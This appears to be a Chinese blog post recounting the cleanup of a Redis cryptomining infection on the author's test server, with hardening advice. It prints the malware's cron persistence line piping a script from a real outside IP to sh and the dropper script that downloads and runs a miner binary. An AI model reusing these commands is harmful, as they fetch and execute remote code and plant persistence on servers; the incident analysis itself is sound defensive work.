[关闭]
@Mr-13 2020-02-10T05:58:33.000000Z 字数 3033 阅读 90

Redis挖矿病毒(qW3xT.2)

Redis


  image_1ckguh02h11jo17dkpm41qsq1emvp.png-96.1kB

0. 闲篇

  收到阿里的态势感知通知,说服务器上被挂了挖矿程序。居然还有点儿高兴。
  好巧不巧,最近短信服务器,冯工在维护的时候经常说Redis日常维护的时候看一下,一些停用的通道、客户数据需要清除一下,避免出现服务状态异常。
  因为不熟悉Redis就在自己的测试机上安装了一下,没设置 Bind 127.0.0.1,也没绑定指定IP、也没设置密码、也没开启防火墙(呃……是有点儿自己作死的意思)。也是想试试冯工说的:“开放外网,基本上都得中招”是不是真的,所以:
  
  果然中招了,很高兴!,然后,干掉他!
  
  服务器上没安装什么应用,只是用.net Core + Nginx搭了个自己用的工具站;数据库也没什么重要数据,所以放心大胆地玩儿了


1. 服务器状态检查

  image_1ckgvdf121l2h17ei1f8i16sl1j099.png-42.6kB

  直观反应是:卡,所以先 top 看一下占用情况,能看到 qW3xT.2 这个家伙直接把CPU给我跑满了,能不卡才怪。另外还有个 ddgs.3013 不认识,本着怀疑一切的态度,先画个重点,看看再说。

2. 检查挖矿程序启动方式、程序位置

  直接百度了一下,网上有现成的说法:qW3xT.2ddgs.3013,这俩货直接干掉了还是会重生;没试过杀进程;一般能“再生”的,都有守护程序,或者定时任务。
  先看一下定时任务:crontab -l
  
  image_1ckh1nr74cdh1ogg1lno1cpf4qmm.png-6.2kB
  
  果然有,看一下 i.sh 这东西干了个啥:
  
  image_1ckh1q77p1rop1q8e101o1rkrkid13.png-51.4kB
  
注释:
  定时任务里的执行命令是:

  1. */15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

  我查看执行的是:

  1. curl -fsSL http://149.56.106.215:8000/i.sh

  因为去掉了管道符 | sh,这里脚本并不会再次运行,不需要担心;再说我到现在也还啥都没干呢,每一步操作都卡的要死。WTF!
  不闲扯,分析一下这货都干啥了:

  1. # 1. 配置环境变量等,没用
  2. export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
  3. # 2. 写定时任务
  4. echo "" > /var/spool/cron/root
  5. echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
  6. mkdir -p /var/spool/cron/crontabs
  7. echo "" > /var/spool/cron/crontabs/root
  8. echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
  9. # 3. 查看ddgs.3013进程,如果没有该进程,重新下载该文件,然后给它加执行权限,并执行。
  10. ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
  11. if [ ! -f "/tmp/ddgs.3013" ]; then
  12. curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
  13. fi
  14. chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013
  15. # 4. 批量根据关键字杀进程
  16. # 下面这几个站点打开都是矿机网站,就不贴图了,网上有现成的
  17. ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
  18. ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
  19. ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
  20. ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
  21. ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
  22. ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
  23. #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
  24. #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

3. 清理挖矿程序

  到这儿,这家伙的运行启动方式就都了解了。下面要做的清理动作:

1.设置Redis密码
2.启动防火墙,并设置端口策略
3.检查 ~/.ssh 目录,清除无密通信密钥
4.删除定时任务
5.杀死目标进程,并删除进程文件

  1、2两部这里就不写了,其他文档已经整理过,防火墙继续用的iptables,没有用firewall,因为:不会!

检查 ~/.ssh 目录,清除无密通信密钥

  1. $ cd ~/.ssh
  2. $ ls
  3. authorized_keys
  4. #果然有这家伙,不啰嗦直接干掉
  5. $ rm -rf *

删除定时任务

  1. # 查看当前定时任务
  2. $ crontab -l
  3. */15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
  4. # 删除定时任务
  5. $ crontab -r
  6. # 再次查看已经清除掉
  7. $ crontab -l
  8. no crontab for root
  9. # 这里只是在root一个用户下有,最好是每个用户都检查下。

杀死程序进程

  image_1ckh36da5159fkgs68j3m18uk1g.png-34.7kB

  看一下这俩异常进程的PID,直接 kill -9 18065kill -9 17929,杀掉。

  image_1ckh39vsg1rqg58h1t94udg1sru2d.png-34.5kB
  
  CPU降下来了,等差不多2分钟,没有再发现异常进程,上面的推论应该没问题。干掉定时任务,这家伙就起不来了。
  

清理程序文件

  1. ...
  2. ......
  3. echo "" > /var/spool/cron/root
  4. echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
  5. mkdir -p /var/spool/cron/crontabs
  6. echo "" > /var/spool/cron/crontabs/root
  7. echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
  8. ......
  9. ...

  从上面锁定待处理的路径、文件,直接干掉:

  • /var/spool/cron/root   root
  • /var/spool/cron/crontabs   root

image_1ckh45b6c1o5gdki174d1oco1s6e3n.png-30.5kB

  再找一下 qW3xT.2ddgs.3013 这两个文件在哪,也干掉:

  1. $ find / -name qW3xT.2
  2. /tmp/qW3xT.2
  3. $ find / -name qW3xT.2
  4. /tmp/qW3xT.2

image_1ckh43h7v102dgck1i731f01130v2q.png-73kB


4. 总结

  吃了个饭再回来,等了差不多两个小时,没在出现问题,杀干净了。
  还好是自己的测试服务器,不管是不是提前就有想法想验证一下是不是会被攻击,有些东西还是得注意,要是在生产环境上,就麻烦了。

  • Redis:
    IP绑定该加上还是的加上,不能偷懒;
    Redis访问密码最好也还是得有;
    默认端口 6379 最好是改了

  • 防火墙:
    不用多说了,必须有。
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注